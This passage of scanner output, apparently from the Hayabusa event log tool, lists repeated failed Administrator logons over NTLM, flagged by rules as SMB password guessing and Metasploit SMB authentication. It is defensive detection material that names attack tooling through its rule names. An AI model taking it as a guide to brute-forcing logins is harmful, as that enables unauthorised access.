Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AIP4mDSVhM27IAIP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.491 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cym5lXDK01XuJz2b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.537 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7pYXA1Ic6BOfG31o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b722QrTSVoZGfiK8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.612 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NzRFz4L7dpar794B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pLWuw9eMN9rqm0Ic : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sE7pzfiKRfOb2dH5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.737 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.786 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YxL1cV8OiFVRfj4I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.786 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qHs8Z8XPLg58jZ1u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i6kRLlJt3Oxwhdgq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.857 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s4kTwriHAKVsTqzB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.897 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.941 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jfitpZ5ZrzBfpNf6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.941 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NdcU6ypEEeIAugGI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.984 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jIMfGIU1pHasO88g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.029 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.073 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MHsxKEQK7CWSqprp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.073 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.118 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QkC70klP6mv8YZrN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.118 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v3YM3zaZk64qqq7K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.160 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mOLbk23zOqQLZYZU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.243 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v0tlyXqvCQJVqaB5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.243 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.291 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: npjQlHcGls5gENng : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.291 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7buinUqketmW3Ib6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rs5gYGs6JBf2yV1J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.422 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 67hYMvtmbrmv5LHn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.475 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gtV42zBnWwRCLfJS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jnaPNm28FvbFfM8L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.569 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oCEvKO14gPFHAZIA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.620 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iJJyXCm1YOI2uIAS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.661 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.717 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MNAScx4qMKxCJQdU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.717 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BKTHsNA29ZnPHCHQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CjvAb3sjN0PM8my4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wYQ6HuRSMh8DXzMf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.836 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SZgejUxgojDE1kR3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.885 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2L4yO411OUnkRGWQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.929 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.986 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O3mGCNGFML75P7w4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.986 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6CBslPz31UACz0wR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.041 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.077 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F4Y8V0wB6unpmFXA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.077 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aXSbx81GD6dYgHtv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.125 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.172 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dWbnppJfJ0Ll9oLW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.172 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eoUjizV5iXImPGTe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.201 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HHNG9oylnT46IObg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.245 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1LUeAisNPQULjD2t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.297 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2sB5MlRw4Ox1OWdN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.422 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3WaklWtKd8QByH8M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.491 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nzvyy6CUk43SVxZW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.557 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xeolvnD92qP1dJPO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.601 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KDvRwPbu6yQH2pEf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.636 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.681 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vxKdofXKKkCLn2n6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.681 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 